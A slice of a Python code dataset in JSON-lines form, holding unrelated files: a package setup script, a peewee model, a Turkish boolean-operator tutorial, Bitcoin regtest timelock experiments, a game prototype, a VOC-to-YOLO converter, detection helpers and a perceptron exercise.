\"https://github.com/unchartedshark/async-up-bank-api\"\r\nPROJECT_AUTHOR = \"Joshua Cowie-Willox & Jason Dau\"\r\nDOWNLOAD_URL = f\"{PROJECT_URL}/archive/{VERSION}.zip\"\r\nPACKAGES = find_packages()\r\n\r\nwith open(\"README.md\", \"r\", encoding=\"UTF-8\") as file:\r\n LONG_DESCRIPTION = file.read()\r\n\r\nif __name__ == \"__main__\":\r\n setup(\r\n name=PACKAGE_NAME,\r\n version=VERSION,\r\n url=PROJECT_URL,\r\n download_url=DOWNLOAD_URL,\r\n author=PROJECT_AUTHOR,\r\n author_email=\"\",\r\n packages=PACKAGES,\r\n long_description=LONG_DESCRIPTION,\r\n long_description_content_type=\"text/markdown\",\r\n python_requires=\">=3.7\",\r\n install_requires=[\"aiohttp[speedups]>=3.7.2\",\"pydantic>=1.7.2\"],\r\n classifiers=[\r\n \"Programming Language :: Python :: 3.7\",\r\n \"Programming Language :: Python :: 3.8\",\r\n \"License :: OSI Approved :: MIT License\",\r\n \"Operating System :: OS Independent\",\r\n \"Development Status :: 3 - Alpha\",\r\n ],\r\n )\r\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1156,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"195616173","text":"\"\"\"Contains all database related stuff\n\nCreated: 2019\nAuthor: Henrik A. Christensen\n\"\"\"\n\nfrom datetime import datetime\n\nfrom peewee import *\nfrom slugify import slugify\n\n\ndb = SqliteDatabase('database.db')\n\n\ndef create_tables():\n \"\"\"Creates the database tables\"\"\"\n with db:\n db.create_tables([Entry], safe=True)\n\n\nclass Entry(Model):\n title = CharField(max_length=140, unique=True)\n time_spent = IntegerField()\n what_i_learned = TextField()\n resource_to_remember = TextField()\n date = DateTimeField(default=datetime.now)\n slug = CharField(max_length=255, unique=True)\n\n class Meta:\n database = db\n\n def __init__(self, *args, **kwargs):\n if not 'slug' in kwargs:\n kwargs['slug'] = slugify(kwargs.get('title', ''))\n super().__init__(*args, **kwargs)\n\n","sub_path":"src/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"346307598","text":"#and\n#or\n#not \n\nsayi = int(input(\"sayı giriniz:\"))\n\nif sayi > 5 and sayi %2 == 0:\n\tprint(\"doğru\")\n#burada and mantıksal kapı olarak kullanılmış ve karmaşıklığı önlemiş.burada denmek istenen \"eğer sayı yani alıcının yazdığı sayı \n#5'den büyükse ve iki ile bölümden kalan sıfırsa ekrana doğru\" yazdır demektedir.Buradaki amaç and operatorunu anlamaktır.\n\nx = int(input(\"x giriniz:\"))\n\ny = int(input(\"y giriniz:\"))\n\nif x == 5 or y == 5:\n\tprint(\"doğru\")\n\nelse:\n\tprint(\"'x' veya 'y' 5 olmalı\")\n#Burada denmek istenen \"eğer x 5 ise veya y 5 ise ekrana dogru yaz değilse ekrana x veya y 5 olmalı yaz demektedir.Buradaki x ve y\n#alıcının yazdığı sayıdır.\"\n\nz = (input(\"bir şey giriniz:\"))\nc = (input(\"bir şey giriniz:\"))\n\nif not bool(z):\n\tprint(\"Doğru!\")\n#Burada \"not\" kelimesinin ne işe yaradığını öğrendik not kelimesi doğru olan birşseyi yanlış yada yanlış olan birşeyi doğruya cevirir.\n#yani birşeyin tam tersini yapmaktadır.Burada bool yazıyor ve boolda boşluk olduğu zaman false olarak geçiyordu ama not kelimesi \n#sayesinde true olarak geçiyor.\n","sub_path":"bool_oprtrleri.py","file_name":"bool_oprtrleri.py","file_ext":"py","file_size_in_byte":1116,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"46845920","text":"\n\n# list all app name order by version count\n# list all app name order by version frequency\n\nimport os\nimport sys\nimport json\nfrom datetime import datetime, timedelta\n\ndef compute_days_per_version(appinfo):\n versions = appinfo['version_history']\n if len(versions) < 5:\n return 9999\n\n first = versions[-1]['release_date']\n last = versions[0]['release_date']\n\n count = len(versions)\n firsttime = datetime.strptime(first, '%Y年%m月%d日')\n lasttime = datetime.strptime(last, '%Y年%m月%d日')\n\n delta = lasttime - firsttime\n\n days_per_version = delta.days * 1.0 / (count-1)\n\n return days_per_version\n\ndef compute_days_per_version_last_6_month(appinfo):\n versions = appinfo['version_history']\n if len(versions) < 3:\n return 9999\n\n six_month_ago = datetime.now() - timedelta(days=180)\n cnt = 0\n for version in versions:\n cur = version['release_date']\n cur_time = datetime.strptime(cur, '%Y年%m月%d日')\n\n delta = cur_time - six_month_ago\n if delta.days < 0:\n break\n \n cnt += 1\n if cnt == 0:\n return 9999\n \n return 180.0 / cnt\n\ndef compute_emergency_release_count(appinfo):\n versions = appinfo['version_history']\n if len(versions) < 3:\n return 9999\n\n cnt = 0\n for i in range(1,len(versions)-1):\n pre = i-1\n cur = i\n\n pre_time = datetime.strptime(versions[pre]['release_date'], '%Y年%m月%d日')\n cur_time = datetime.strptime(versions[cur]['release_date'], '%Y年%m月%d日')\n\n delta = pre_time - cur_time\n if delta.days <= 1:\n cnt += 1\n return cnt\n\ndef rank_dir(path, option):\n applist = []\n\n files = os.listdir(path)\n for filename in files:\n filepath = os.path.join(path, filename)\n\n with open(filepath) as fp:\n appinfo = json.load(fp)\n\n version_count = len(appinfo['version_history'])\n if version_count < 10:\n continue\n\n applist.append({\n 'id':appinfo['id'],\n 'app-name':appinfo['app_name'],\n 'version-count': version_count,\n 'days-per-version': compute_days_per_version(appinfo),\n 'days-per-version-last-6-month': compute_days_per_version_last_6_month(appinfo),\n 'emergency-release-count': compute_emergency_release_count(appinfo),\n })\n \n print('*' * 80)\n\n if option == 'version-count':\n print('=== Order by version count ===')\n applist_orderby_count = sorted(applist, key = lambda app: app['version-count'], reverse=True)\n for app in applist_orderby_count:\n print(app)\n elif option == 'days-per-version':\n print('=== Order by days per version ===')\n applist_orderby_freq = sorted(applist, key = lambda app: app['days-per-version'])\n for app in applist_orderby_freq:\n print(app)\n elif option == 'days-per-version-last-6-month':\n print('=== Order by days per version last 6 month ===')\n applist_orderby_freq = sorted(applist, key = lambda app: app['days-per-version-last-6-month'])\n for app in applist_orderby_freq:\n print(app)\n elif option == 'emergency-release-count':\n print('=== Order by emergency release count ===')\n applist_orderby_freq = sorted(applist, key = lambda app: app['emergency-release-count'], reverse=True)\n for app in applist_orderby_freq:\n print(app)\n else:\n print('unknown option')\n\n print('*' * 80)\n\n\n\ndef help():\n print('Usage: ')\n print(' python rank.py version-count ')\n print(' python rank.py days-per-version ')\n print(' python rank.py days-per-version-last-6-month ')\n print(' python rank.py emergency-release-count ')\n\n\ndef main():\n if len(sys.argv) != 3:\n help()\n return\n \n option = sys.argv[1]\n path = sys.argv[2]\n\n rank_dir(path, option)\n\n\nif __name__ == '__main__':\n main()","sub_path":"spider/rank.py","file_name":"rank.py","file_ext":"py","file_size_in_byte":4101,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"193093323","text":"#! /usr/bin/python3\nimport zmq\nimport bitcoin.rpc\nfrom bitcoin.core import *\nfrom bitcoin.core.script import *\nfrom bitcoin.wallet import *\nfrom bitcoin.core.key import CECKey\nimport hashlib\n\nPORT = 18333\nbitcoin.SelectParams('regtest') \nproxy = bitcoin.rpc.Proxy()\nTIMELOCK = 2\ntimelock = proxy.call(\"getblockcount\") + TIMELOCK\n# para = 'zeromix_5619830903'\n# h = hashlib.sha256(para.encode()).digest()\n# seckey = CBitcoinSecret.from_secret_bytes(h)\n# pubkey = seckey.pub\npara1 = 'zeromix_5619830903'\npara2 = 'zeromix_5619830904'\nh1 = hashlib.sha256(para1.encode()).digest()\nh2 = hashlib.sha256(para2.encode()).digest()\nseckey1 = CBitcoinSecret.from_secret_bytes(h1)\nseckey2 = CBitcoinSecret.from_secret_bytes(h2)\nsender_pubkey = seckey1.pub\nreceiver_pubkey = seckey2.pub\n\n#test script in zeromixer:\na = 'zeromix_5619830902'\nh_1 = Hash160(a.encode())\n#create raw transaction\n\nlocktime = 121 \nredeemScript = CScript([OP_IF, OP_HASH160, h_1, OP_EQUALVERIFY, sender_pubkey, OP_CHECKSIG, \n\t\t\t\t\tOP_ELSE, locktime, OP_CHECKLOCKTIMEVERIFY, OP_DROP,\n\t\t\t\t\treceiver_pubkey, OP_CHECKSIG, OP_ENDIF]) #输入输出都是bytes\nscript_pub_key = redeemScript.to_p2sh_scriptPubKey() #bytes\np2sh_address = CBitcoinAddress.from_scriptPubKey(script_pub_key) #string\nfunding_txid = proxy.call(\"sendtoaddress\", str(p2sh_address), 5)\nprint(funding_txid)\n\n#refunding tx:\n# newaddress = proxy.getnewaddress()\n# print(newaddress)\n# funding_txid = 'ffdef1a36d93c3bc0da7f6c11757e526082f4f468ee7046436935245cba9b4db'\n# redeem_script = redeemScript\n# script_pub_key = redeem_script.to_p2sh_scriptPubKey()\n# #自动定位utxo\n# hextx = proxy.call(\"gettransaction\",funding_txid)['hex']\n# raw_txid = x(hextx)\n# temp_tx = CTransaction.deserialize(raw_txid)\n# tx = CMutableTransaction.from_tx(temp_tx)\n# print(b2x(tx.vout[0].scriptPubKey))\n# print(script_pub_key)\n# if tx.vout[0].scriptPubKey == script_pub_key:\n# \tvout = 0\n# else:\n# \tvout =1 \n# txid = lx(funding_txid)\n# txin = CMutableTxIn(COutPoint(txid,vout))\n# out_script_pubkey = CBitcoinAddress(str(newaddress)).to_scriptPubKey()\n# txout = CMutableTxOut(4.999*COIN, out_script_pubkey)\n# # print(\"now:\",proxy.call(\"getblockcount\"))\n# tx = CMutableTransaction([txin], [txout]) \n# sighash = SignatureHash(redeem_script, tx, 0 ,SIGHASH_ALL)\n# sig = seckey1.sign(sighash) + bytes([SIGHASH_ALL])\n# txin.scriptSig = CScript([sig, a.encode(), OP_TRUE, redeem_script])\n# spend_txid = proxy.call(\"sendrawtransaction\", b2x(tx.serialize()))\n# print(spend_txid)\n# print(len(tx.serialize()))\n\n\n#spending tx:\nfunding_txid = \"01c9a808274711adb17e5a18654938be8cb013f5fe12a00d8dc06a4b56cf28fa\"\nredeem_script = redeemScript\nscript_pub_key = redeem_script.to_p2sh_scriptPubKey()\nnewaddress = proxy.call(\"getnewaddress\")\n#自动定位utxo\nhextx = proxy.call(\"gettransaction\",funding_txid)['hex']\nraw_txid = x(hextx)\ntemp_tx = CTransaction.deserialize(raw_txid)\ntx = CMutableTransaction.from_tx(temp_tx)\nif tx.vout[0].scriptPubKey == script_pub_key:\n\tvout = 0\nelse:\n\tvout =1 \ntxid = lx(funding_txid)\n\ntxin = CMutableTxIn(COutPoint(txid,vout),nSequence = 0)\nout_script_pubkey = CBitcoinAddress(newaddress).to_scriptPubKey()\ntxout = CMutableTxOut(4.999*COIN, out_script_pubkey)\nprint(\"now:\",proxy.call(\"getblockcount\"))\ntx = CMutableTransaction([txin], [txout], nLockTime = 121)\nsighash = SignatureHash(redeem_script, tx, 0 ,SIGHASH_ALL)\nsig = seckey2.sign(sighash) + bytes([SIGHASH_ALL])\ntxin.scriptSig = CScript([sig, OP_FALSE ,redeem_script])\nspend_txid = proxy.call(\"sendrawtransaction\", b2x(tx.serialize()))\nprint(spend_txid)\n\n\n#test Ntimelock\n\n#setup_funding_TX\n# redeem_script = CScript([timelock, OP_CHECKLOCKTIMEVERIFY, OP_DROP, pubkey, OP_CHECKSIG])\n# script_pub_key = redeem_script.to_p2sh_scriptPubKey()\n# p2sh_address = CBitcoinAddress.from_scriptPubKey(script_pub_key)\n# funding_txid = proxy.call(\"sendtoaddress\",str(p2sh_address),1)\n# print(funding_txid)\n\n#spend_funding_TX\n# funding_txid = \"fceb24e162c58f30b900a3517f010148be1c65d07ffda009399705a19a187624\"\n# redeem_script = CScript([118, OP_CHECKLOCKTIMEVERIFY, OP_DROP, pubkey, OP_CHECKSIG])\n# script_pub_key = redeem_script.to_p2sh_scriptPubKey()\n# newaddress = proxy.call(\"getnewaddress\")\n# #自动定位utxo\n# hextx = proxy.call(\"gettransaction\",funding_txid)['hex']\n# raw_txid = x(hextx)\n# temp_tx = CTransaction.deserialize(raw_txid)\n# tx = CMutableTransaction.from_tx(temp_tx)\n# if tx.vout[0].scriptPubKey == script_pub_key:\n# \tvout = 0\n# else:\n# \tvout =1 \n# txid = lx(funding_txid)\n\n# txin = CMutableTxIn(COutPoint(txid,vout),nSequence = 0)\n# out_script_pubkey = CBitcoinAddress(newaddress).to_scriptPubKey()\n# txout = CMutableTxOut(0.999*COIN, out_script_pubkey)\n# print(\"now:\",proxy.call(\"getblockcount\"))\n# tx = CMutableTransaction([txin], [txout], nLockTime = proxy.call(\"getblockcount\"))\n# sighash = SignatureHash(redeem_script, tx, 0 ,SIGHASH_ALL)\n# sig = seckey.sign(sighash) + bytes([SIGHASH_ALL])\n# txin.scriptSig = CScript([sig, redeem_script])\n# spend_txid = proxy.call(\"sendrawtransaction\", b2x(tx.serialize()))\n# print(spend_txid)\n\n\n#test normal TX: right\n\n#setup_funding_TX\n# redeem_script = CScript([ pubkey, OP_CHECKSIG])\n# script_pub_key = redeem_script.to_p2sh_scriptPubKey()\n# print(script_pub_key) #b'\\xa9\\x14\\xc8,\\x1e1R\\xb5\\x98\\xc8\\xeb\\xba;\\xed\\x05\\x90\"\\x17\\xe4\\t\\xffN\\x87'\n# p2sh_address = CBitcoinAddress.from_scriptPubKey(script_pub_key)\n# funding_txid = proxy.call(\"sendtoaddress\",str(p2sh_address),1)\n# print(funding_txid)\n\n# funding_txid = \"ca1a6de61efd65e31707282d1defccffbaa9fb8d0ae0ee006dd04f446a0535eb\"\n# hextx = proxy.call(\"gettransaction\",funding_txid)['hex']\n# raw_txid = x(hextx)\n# temp_tx = CTransaction.deserialize(raw_txid)\n# tx = CMutableTransaction.from_tx(temp_tx)\n# print(tx.vout[0].nValue/COIN) #1 \n# print(tx.vout[0].scriptPubKey) #b'\\xa9\\x14\\xc8,\\x1e1R\\xb5\\x98\\xc8\\xeb\\xba;\\xed\\x05\\x90\"\\x17\\xe4\\t\\xffN\\x87' 与上面一样\n\n\n#spend_funding_TX\n# funding_txid = \"ca1a6de61efd65e31707282d1defccffbaa9fb8d0ae0ee006dd04f446a0535eb\"\n# redeem_script = CScript([ pubkey, OP_CHECKSIG])\n# newaddress = proxy.call(\"getnewaddress\")\n# txid = lx(funding_txid)\n# vout = 0\n# txin = CMutableTxIn(COutPoint(txid,vout))\n# out_script_pubkey = CBitcoinAddress(newaddress).to_scriptPubKey()\n# txout = CMutableTxOut(0.999*COIN, out_script_pubkey)\n# tx = CMutableTransaction([txin], [txout])\n# sighash = SignatureHash(redeem_script, tx, 0 ,SIGHASH_ALL)\n# sig = seckey.sign(sighash) + bytes([SIGHASH_ALL])\n# txin.scriptSig = CScript([sig, redeem_script])\n# spend_txid = proxy.call(\"sendrawtransaction\", b2x(tx.serialize()))\n# print(spend_txid)\n\n\n#test nTimeLock TX\n\n#setup_funding_TX\n# redeem_script = CScript([ pubkey, OP_CHECKSIG])\n# script_pub_key = redeem_script.to_p2sh_scriptPubKey()\n# p2sh_address = CBitcoinAddress.from_scriptPubKey(script_pub_key)\n# funding_txid = proxy.call(\"sendtoaddress\",str(p2sh_address),0.0001)\n# print(funding_txid)\n\n\n\n# spend_funding_TX\n# funding_txid = \"6bf718b4fb47f19979c1fd1942f848981826e67807b29c542ce152caa28b551d\"\n# redeem_script = CScript([ pubkey, OP_CHECKSIG])\n# script_pub_key = redeem_script.to_p2sh_scriptPubKey()\n# newaddress = proxy.call(\"getnewaddress\")\n# txid = lx(funding_txid)\n# hextx = proxy.call(\"gettransaction\",funding_txid)['hex']\n# raw_txid = x(hextx)\n# temp_tx = CTransaction.deserialize(raw_txid)\n# tx = CMutableTransaction.from_tx(temp_tx)\n# if tx.vout[0].scriptPubKey == script_pub_key:\n# \tvout = 0\n# else:\n# \tvout =1 \n# txin = CMutableTxIn(COutPoint(txid,vout),nSequence = 0)\n# out_script_pubkey = CBitcoinAddress(newaddress).to_scriptPubKey()\n# txout = CMutableTxOut(0.000098*COIN, out_script_pubkey)\n# tx = CMutableTransaction([txin], [txout],nLockTime = proxy.getblockcount())\n# sighash = SignatureHash(redeem_script, tx, 0 ,SIGHASH_ALL)\n# sig = seckey.sign(sighash) + bytes([SIGHASH_ALL])\n# txin.scriptSig = CScript([sig, redeem_script])\n# spend_txid = proxy.call(\"sendrawtransaction\", b2x(tx.serialize()))\n# print(spend_txid)\n\n#test check TX\n# redeem_script = CScript([ pubkey, OP_CHECKSIG])\n# script_pub_key = redeem_script.to_p2sh_scriptPubKey()\n# p2sh_address = CBitcoinAddress.from_scriptPubKey(script_pub_key)\n# blockcount = proxy.call(\"getblockcount\")\n# funding_txid = proxy.call(\"sendtoaddress\",str(p2sh_address),0.0001)\n# print(funding_txid)\n\n# print(blockcount)\n\t\n\t\t\n# def check_TX(txid,blockcount):\n# \t#check whether this tx is confirmed\n# \tcurrent_count = proxy.call(\"getblockcount\")\n# \tif blockcount!=current_count:\n# \t\tblockhash = proxy.call(\"getblockhash\",current_count)\n# \t\ttry:\n# \t\t\trawtx = proxy.call(\"getrawtransaction\",txid,0,blockhash)\n# \t\t\treturn rawtx, current_count\n# \t\texcept bitcoin.rpc.InvalidAddressOrKeyError as e:\n# \t\t\treturn 0, current_count\n# \telse:\n# \t\treturn 0,current_count\n\n# rawtx,blockcount = check_TX(funding_txid,blockcount)\n# while (not rawtx):\t\n# \trawtx,blockcount = check_TX(funding_txid,blockcount)\n\n# print(\"end\")\n# print(proxy.call(\"getrawtransaction\",funding_txid,0,blockhash))","sub_path":"Test/test_timelock.py","file_name":"test_timelock.py","file_ext":"py","file_size_in_byte":8926,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"10933677","text":"\n#agents system prototype\n\nimport random\nimport itertools\n\nbase_values = {\"Chemoplast\" : \"TACCTCGA\", \n\t\t\t\"Chloroplast\" : \"CTCACATT\", \n\t\t\t\"Cytoplasm\" : \"AGCTTAGA\",\n\t\t\t\"Mitochondria\" : \"GGAGAAGA\",\n\t\t\t\"Sulphur Mitochondria\" : \"TTTGGCGG\",\n\t\t\t\"Agent Gland\" : \"TCCCGCAG\",\n\t\t\t\"Nucleus\" : \"GACCGACT\",\n\t\t\t\"Lysosomes\" : \"GTTCTTTA\",\n\t\t\t\"Flagella\" : \"GGAAGTGC\",\n\t\t\t\"Pilus\" : \"CCGGTCCG\"}\n\nweights = {\"Chemoplast\" : 1, \n\t\t\t\"Chloroplast\" : 1, \n\t\t\t\"Cytoplasm\" : 0,\n\t\t\t\"Mitochondria\" : 0,\n\t\t\t\"Sulphur Mitochondria\" : 1,\n\t\t\t\"Agent Gland\" : 4,\n\t\t\t\"Nucleus\" : 2,\n\t\t\t\"Lysosomes\" : 1,\n\t\t\t\"Flagella\" : 4,\n\t\t\t\"Pilus\" : 1}\n\n#take a string and change n letters in it at random\ndef change_n_letters(string, n):\n\tif n > len(string):\n\t\tprint(\"Error, tried to change too many letters of a string\")\n\t\treturn string\n\telse:\n\t\t#choose which letters to change\n\t\tletters_to_change = [i for i in range(len(string))]\n\t\tfor j in range(len(string) - n):\n\t\t\tletters_to_change.remove(random.choice(letters_to_change))\n\t\t#change the letters to something new\n\t\tworking_string = list(string)\n\t\tfor position in letters_to_change:\n\t\t\tchoices = [\"A\", \"C\", \"G\", \"T\"]\n\t\t\tchoices.remove(working_string[position])\n\t\t\tchoice = random.choice(choices)\n\t\t\tworking_string[position] = choice\n\n\t\treturn \"\".join(working_string)\n\n#compare two codes for similarity\ndef compare_codes(string1, string2):\n\ts1 = list(string1)\n\ts2 = list(string2)\n\toutput = 0\n\tfor i in range(len(s1)):\n\t\tif s1[i] == s2[i]:\n\t\t\toutput += 1\n\treturn output\n\nclass species:\n\tdef __init__(self):\n\t\t#copy the base values for the codes for your organelles\n\t\tself.codes = dict(base_values)\n\t\t#mutate the base values a little bit\n\t\tfor code in self.codes.keys():\n\t\t\tself.codes[code] = change_n_letters(self.codes[code], 4)\n\njeff = species()\ngeoff = species()\n\ndef score_code(string, species):\n\tscore = 0\n\tfor organelle in species.codes.keys():\n\t\tthis_score = compare_codes(string, species.codes[organelle])\n\t\tmultiplier = weights[organelle]\n\t\tscore += this_score*multiplier\n\treturn score\n\n\n#find the best agents for attacking Jeff\ndef compute_best_codes_brute_force(species):\n\ttop_codes = []\n\n\tcounter = [0 for i in range(8)]\n\ttime = 0\n\ttop_score = 0\n\twhile 1:\n\t\t#compute which code to try now\n\t\ttrying_code = \"\"\n\t\tfor number in counter:\n\t\t\tif number is 0:\n\t\t\t\ttrying_code += \"A\"\n\t\t\tif number is 1:\n\t\t\t\ttrying_code += \"C\"\n\t\t\tif number is 2:\n\t\t\t\ttrying_code += \"G\"\n\t\t\tif number is 3:\n\t\t\t\ttrying_code += \"T\"\n\t\t#check how good that code is\n\t\tscore = score_code(trying_code, species)\n\t\t#if the code is good enough add it to the list of top scores\n\t\tif score >= top_score*0.9:\n\t\t\ttop_codes.append([trying_code, score])\n\t\tif score > top_score:\n\t\t\ttop_score = score\n\t\t#increase the counter\n\t\tcounter[0] += 1\n\t\tfor i in range(len(counter) - 1):\n\t\t\tif counter[i] == 5:\n\t\t\t\tcounter[i] = 0\n\t\t\t\tcounter[i + 1] += 1\n\t\tif counter[len(counter) - 1] == 5:\n\t\t\tbreak\n\t\ttime += 1\n\t\tif time % 10000 == 0:\n\t\t\tprint(time)\n\n\treturn sorted(top_codes, key=lambda x: x[1], reverse = True)\n#brute force computation is slow, to see that uncomment this line!\n#print \"Brute force computation vs Jeff : \", compute_best_codes_brute_force(jeff)\n\n#construct the most effective sequence\ndef compute_best_codes_by_construction(list_of_species):\n\tletters = [\"A\", \"C\", \"G\", \"T\"]\n\toutput = []\n\t#for each letter\n\tfor i in range(8):\n\t\t#keep a list of which letter is best\n\t\tcurrent_scores = [0,0,0,0]\n\t\tfor species in list_of_species:\n\t\t\tfor key in species.codes.keys():\n\t\t\t\t#award points for matching the letter\n\t\t\t\tmultipler = weights[key]\n\t\t\t\tif species.codes[key][i] == letters[0]:\n\t\t\t\t\tcurrent_scores[0] += multipler\n\t\t\t\tif species.codes[key][i] == letters[1]:\n\t\t\t\t\tcurrent_scores[1] += multipler\n\t\t\t\tif species.codes[key][i] == letters[2]:\n\t\t\t\t\tcurrent_scores[2] += multipler\n\t\t\t\tif species.codes[key][i] == letters[3]:\n\t\t\t\t\tcurrent_scores[3] += multipler\n\t\t#use the scores to determine the best letter\n\t\thigh_score = 0\n\t\tletters_to_check = [0,1,2,3]\n\t\trandom.shuffle(letters_to_check)\n\t\tfor index in letters_to_check:\n\t\t\tif current_scores[index] > high_score:\n\t\t\t\thigh_score = current_scores[index]\n\t\t\t\tbest_letter = index\n\t\toutput.append(letters[best_letter])\n\treturn \"\".join(output)\n\nprint(\"Construction computation vs Jeff : \", compute_best_codes_by_construction([jeff]))\n\nprint(\"Construction computation vs Jeff and Geoff\", compute_best_codes_by_construction([jeff, geoff]))\n\n","sub_path":"Agents/letters.py","file_name":"letters.py","file_ext":"py","file_size_in_byte":4352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"98725742","text":"# Modify this script to adapt to new separate considerations of popularity and similarity\n# Reinforcement Learning - Run this weekly/bi-weekly\nimport math\n\ndef tweaked_sigmoid(x, delta_x):\n if x >= 1.0:\n x = 0.9999\n z = -math.log((1-x)/x)\n f = 1/(1 + (math.exp(-(delta_x + z))))\n return f\n\n#tweaked_sigmoid(0.68, -0.02)\n\n\ndef is_substantial_visits(visits):\n # (is_substantial, redemption)\n if visits < 10:\n return (False, 100)\n elif visits >= 10 and visits < 100:\n return (True, 10)\n else:\n return (True, 1)\n\ndef feedback(visits, clicks, movies):\n substantial_visits, redemption = is_substantial_visits(visits)\n for movie in movies:\n movie_clicks = movie['clicks']\n try:\n improvement = movie_clicks / clicks\n except ZeroDivisionError:\n improvement = 0\n \n # Penalising each recommendation for the untransformed visit into a potential click\n # Redemption: subtracting individual's share to total clicks + considering the visits for redemption\n # Penalising each for its share among the len(movies) movies\n # visits >= clicks always\n # No need to penalize if visits are meager\n if clicks and substantial_visits:\n penalty = (clicks - movie_clicks)/(len(movies) * visits * redemption)\n # because min order of hundreths is desirable\n elif not clicks and substantial_visits:\n penalty = math.sqrt(visits)/1000 # Penalize more if more visits\n else:\n penalty = 0\n movie['similarity'] = tweaked_sigmoid(movie['similarity'], improvement - penalty)\n return movies\n\nmovies = [\n {'clicks': 100, 'similarity': 0.5},\n {'clicks': 39, 'similarity': 0.7},\n {'clicks': 10, 'similarity': 0.55},\n {'clicks': 7, 'similarity': 0.55},\n {'clicks': 0, 'similarity': 0.59},\n]\nprint(feedback(10200, 156, movies))\n","sub_path":"recommender/feedback.py","file_name":"feedback.py","file_ext":"py","file_size_in_byte":1940,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"4377006","text":"import os\nimport xml.dom.minidom\nimport argparse\nimport xml.etree.ElementTree as ET\nfrom core.config import cfg\n\nparser = argparse.ArgumentParser(description='Process some integers.')\nparser.add_argument('-annotation_folder', help='Input Dataset folder', required=True)\nparser.add_argument('-output_folder', help='Output annotation folder', required=True)\nparser.add_argument('-data_type', help='Type of data test ot train', required=True)\n\ndef parseXML(xmlfile):\n tree = ET.parse(xmlfile)\n root = tree.getroot()\n objs = []\n for obj in root.findall('object'):\n if obj.findall('name')[0].text in cfg.CLASS_LABELS:\n print( obj.findall('name')[0].text,\" is -> \", cfg.CLASS_LABELS[obj.findall('name')[0].text])\n bounding_box = obj.findall('bndbox')[0]\n row = ','.join([bounding_box.findall('xmin')[0].text, bounding_box.findall('ymin')[0].text, bounding_box.findall('ymax')[0].text, bounding_box.findall('ymax')[0].text, cfg.CLASS_LABELS[obj.findall('name')[0].text]])\n yield row\n\n\ndef main():\n args = parser.parse_args()\n total_rows = []\n print(args.annotation_folder)\n for file in os.listdir(os.path.join(args.annotation_folder, 'Annotations')):\n file_rows = list(parseXML(os.path.join(args.annotation_folder, 'Annotations', file)))\n if len(file_rows) == 0:\n continue\n final_row = os.path.join(args.annotation_folder, 'Annotations', file.split('.')[0] + '.jpg') + ' ' + ' '.join(file_rows)\n print(final_row)\n total_rows.append(final_row)\n \n final_file = os.path.join(args.output_folder, args.data_type + '.txt')\n w = open(final_file, 'w')\n for t in total_rows:\n w.write(t + '\\n')\n w.close()\n \n\nif __name__ == '__main__':\n main()","sub_path":"voc_to_yolo.py","file_name":"voc_to_yolo.py","file_ext":"py","file_size_in_byte":1775,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"493685811","text":"import os\nimport cv2\nimport json\nimport numpy as np\nimport torch\n\nfrom tqdm import tqdm\n\nfrom ..utils import Timer\nfrom ..vis_utils import draw_bboxes\n# from ..sample.utils import crop_image\nfrom ..sampler.sampler import Referring\nimport pdb\n\n\ndef _decode_anchorbased(out):\n # feature\n outs = torch.cat(out, dim=1)\n confidence, index = outs[..., 4].max(1)\n x = outs[range(outs.shape[0]), index, 0]\n y = outs[range(outs.shape[0]), index, 1]\n w = outs[range(outs.shape[0]), index, 2]\n h = outs[range(outs.shape[0]), index, 3]\n bboxes = torch.stack((x-w/2, y-h/2, x+w/2, y+h/2), dim=1).cpu().data.numpy()\n bboxes = [bbox for bbox in bboxes]\n return bboxes\n\n\ndef _topk(scores, k=1):\n batch, _, height, width = scores.size()\n topk_scroes, topk_inds = torch.topk(scores.view(batch, -1), k)\n topk_ys = (topk_inds / width).int().float()\n topk_xs = (topk_inds % width).int().float()\n return topk_ys, topk_xs\n\ndef _decode(out):\n tl_heats, br_heats, tl_regrs, br_regrs = out\n batch, _, height, width = tl_heats.shape\n tl_ys, tl_xs = _topk(tl_heats, k=1)\n br_ys, br_xs = _topk(br_heats, k=1)\n bboxes = []\n for ind in range(batch):\n # TODO only support k = 1 here\n tly = tl_ys[ind][0]\n tlx = tl_xs[ind][0]\n bry = br_ys[ind][0]\n brx = br_xs[ind][0]\n tl_off_x, tl_off_y = tl_regrs[ind, :, tly.to(torch.int), tlx.to(torch.int)]\n br_off_x, br_off_y = br_regrs[ind, :, bry.to(torch.int), brx.to(torch.int)]\n bbox = tlx + tl_off_x, tly + tl_off_y, brx + br_off_x, bry + br_off_y\n bbox = [x.cpu().data.item() for x in bbox]\n bbox = np.array(bbox)\n bboxes.append(bbox)\n\n return bboxes\n\ndef _bbox_iou(bbox1, bbox2):\n iou = np.zeros((4, ))\n iou[:2] = np.where(bbox1[:2]>bbox2[:2],bbox1[:2], bbox2[:2]) # element wise max\n iou[2:] = np.where(bbox1[2:] 0\n \ndef update(predict, label, weights, vector):\n one = np.array([1], dtype=np.int64)\n vector = np.append(vector, one, axis=-1)\n\n weights += learning_rate * (label - predict) * vector \n \n return weights\n \ndef loadData(filename):\n data = np.genfromtxt(filename, dtype='str')\n vectors = np.array([list(bstring) for bstring in data[:, 1]]).astype(np.int64)\n answers = np.array([vector.sum() >= 3 for vector in vectors])\n \n \n return vectors, answers\n \n \nif __name__ == '__main__':\n\n base = 0.2\n epochs = []\n learning_rates = [0.2, 0.4, 0.6, 0.8]\n for learning_rate in learning_rates:\n epochnum = main()\n epochs.append(epochnum)\n \n plt.plot(learning_rates, epochs)\n for x, y in zip(learning_rates, epochs):\n plt.text(x, y, (x, y), ha = 'center', va = 'bottom', fontsize = 10)\n plt.xlabel('learning rate')\n plt.ylabel('examples-presentation')\n plt.savefig('hw3_1.jpg')\n\n\n\n # learning_rate = 0.001\n # print(main())","sub_path":"hw 